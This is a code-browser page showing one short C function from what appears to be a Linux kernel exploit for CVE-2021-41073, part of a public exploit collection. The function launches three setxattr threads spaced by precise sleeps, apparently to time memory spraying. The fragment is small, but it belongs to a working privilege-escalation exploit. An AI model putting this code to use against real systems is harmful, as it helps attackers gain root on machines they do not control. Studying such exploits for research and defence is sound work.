MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / create_setxattr_threads

Function create_setxattr_threads

CVE-2021-41073/exploit/exploit.c:383–397  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

381}
382
383void create_setxattr_threads(void)
384{
385 struct timespec tim = {0};
386 pthread_t thread1 = {0};
387 pthread_t thread2 = {0};
388 pthread_t thread3 = {0};
389
390 tim.tv_nsec = 2001337;
391
392 pthread_create(&thread1, NULL, setxattr_thread_routine, (void*)3); // setxattr_thread_routine() ——
393 nanosleep(&tim, NULL);
394 pthread_create(&thread2, NULL, setxattr_thread_routine, (void*)4);
395 nanosleep(&tim, NULL);
396 pthread_create(&thread3, NULL, setxattr_thread_routine, (void*)5);
397}
398
399void create_io_uring_threads(void)
400{

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected